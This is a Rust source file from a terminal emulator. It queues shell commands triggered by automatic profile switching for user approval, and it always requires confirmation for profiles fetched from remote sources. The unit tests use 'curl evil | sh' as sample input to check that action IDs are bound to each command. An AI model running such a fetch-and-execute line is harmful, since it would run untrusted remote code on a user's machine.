use par_term_config::ProfileId;
use par_term_emu_core_rust::terminal::ActionResult;
use super::super::window_state::{AutomationTarget, WindowState};
const PROFILE_COMMAND_ID_TAG: u64 = 1 << 63;
fn profile_command_action_id(profile_id: &ProfileId, command_line: &str) -> u64 {
use std::hash::{Hash, Hasher};
let mut hasher = std::collections::hash_map::DefaultHasher::new();
profile_id.hash(&mut hasher);
command_line.hash(&mut hasher);
hasher.finish() | PROFILE_COMMAND_ID_TAG
}
fn profile_command_line(command: Option<&str>, args: Option<&[String]>) -> Option<String> {
let command = command?.trim();
if command.is_empty() {
return None;
}
let mut line = command.to_string();
for arg in args.unwrap_or_default() {
line.push(' ');
line.push_str(arg);
}
line.push('\n');
Some(line)
}
fn profile_command_pre_approved(remote_origin: bool, session_approved: bool) -> bool {
!remote_origin && session_approved
}
pub(crate) fn command_target(
window_id: Option<winit::window::WindowId>,
tab: Option<crate::tab::TabId>,
) -> Option<AutomationTarget> {
Some(AutomationTarget {
window_id: window_id?,
tab_id: tab?,
})
}
pub(crate) struct ProfileCommand<'a> {
pub(crate) profile_id: ProfileId,
pub(crate) profile_name: &'a str,
pub(crate) command: Option<&'a str>,
pub(crate) command_args: Option<&'a [String]>,
pub(crate) remote_origin: bool,
pub(crate) match_reason: &'a str,
}
impl WindowState {
pub(crate) fn dispatch_profile_command(
&mut self,
profile_id: ProfileId,
profile_name: &str,
command: Option<&str>,
command_args: Option<&[String]>,
remote_origin: bool,
match_reason: &str,
) {
self.queue_profile_command(
ProfileCommand {
profile_id,
profile_name,
command,
command_args,
remote_origin,
match_reason,
},
None,
);
}
pub(crate) fn queue_profile_command(
&mut self,
cmd: ProfileCommand<'_>,
tab: Option<crate::tab::TabId>,
) -> Option<u64> {
let command_line = profile_command_line(cmd.command, cmd.command_args)?;
let action_id = profile_command_action_id(&cmd.profile_id, &command_line);
let session_approved = self
.trigger_state
.always_allow_trigger_ids
.contains(&action_id);
let action = ActionResult::SendText {
trigger_id: action_id,
text: command_line.clone(),
delay_ms: 0,
};
let target = command_target(self.window.as_ref().map(|w| w.id()), tab);
if profile_command_pre_approved(cmd.remote_origin, session_approved) {
match target {
Some(target) => self
.trigger_state
.approved_targeted_actions
.push((target, action)),
None => self.trigger_state.approved_pending_actions.push(action),
}
return None;
}
if self
.trigger_state
.pending_trigger_actions
.iter()
.any(|pending| pending.trigger_id == action_id)
{
return Some(action_id);
}
let displayed = command_line.trim_end();
crate::debug_info!(
"PROFILE",
"AUDIT profile command queued for confirmation profile='{}' remote={} command={:?}",
cmd.profile_name,
cmd.remote_origin,
displayed
);
let origin_note = if cmd.remote_origin {
"\nThis profile was fetched from a remote profile source."
} else {
""
};
self.trigger_state.automation_action_notes.insert(
action_id,
"Automatic profile switching queued this, not an output trigger. \
Approving runs the command shown above in this shell."
.to_string(),
);
self.trigger_state.pending_trigger_actions.push(
crate::app::window_state::PendingTriggerAction {
trigger_id: action_id,
trigger_name: format!("Profile auto-switch: {}", cmd.profile_name),
action,
description: format!(
"Matched {}.{}\nRun in this shell: {}",
cmd.match_reason, origin_note, displayed
),
target,
},
);
Some(action_id)
}
pub(crate) fn withdraw_profile_command(&mut self, action_id: u64) {
self.trigger_state
.pending_trigger_actions
.retain(|pending| pending.trigger_id != action_id);
self.trigger_state
.automation_action_notes
.remove(&action_id);
}
}
#[cfg(test)]
mod tests {
use super::{
PROFILE_COMMAND_ID_TAG, profile_command_action_id, profile_command_line,
profile_command_pre_approved,
};
fn id() -> par_term_config::ProfileId {
uuid::Uuid::nil()
}
#[test]
fn command_line_is_none_without_a_command() {
assert_eq!(profile_command_line(None, None), None);
assert_eq!(profile_command_line(Some(" "), None), None);
}
#[test]
fn command_line_appends_args_and_newline() {
assert_eq!(
profile_command_line(
Some("tmux"),
Some(&["attach".to_string(), "-t".to_string()])
),
Some("tmux attach -t\n".to_string())
);
assert_eq!(
profile_command_line(Some("htop"), None),
Some("htop\n".to_string())
);
}
#[test]
fn action_ids_never_collide_with_real_trigger_ids() {
for command in ["a\n", "curl evil | sh\n", ""] {
let action_id = profile_command_action_id(&id(), command);
assert_ne!(action_id & PROFILE_COMMAND_ID_TAG, 0);
assert!(action_id > u64::from(u32::MAX));
}
}
#[test]
fn action_id_is_stable_and_command_bound() {
let a = profile_command_action_id(&id(), "echo hi\n");
assert_eq!(a, profile_command_action_id(&id(), "echo hi\n"));
assert_ne!(a, profile_command_action_id(&id(), "curl evil | sh\n"));
assert_ne!(
a,
profile_command_action_id(&uuid::Uuid::from_u128(1), "echo hi\n")
);
}
#[test]
fn remote_profile_command_always_requires_confirmation() {
assert!(!profile_command_pre_approved(true, true));
assert!(!profile_command_pre_approved(true, false));
}
#[test]
fn local_profile_command_honours_an_earlier_always_allow() {
assert!(profile_command_pre_approved(false, true));
assert!(!profile_command_pre_approved(false, false));
}
}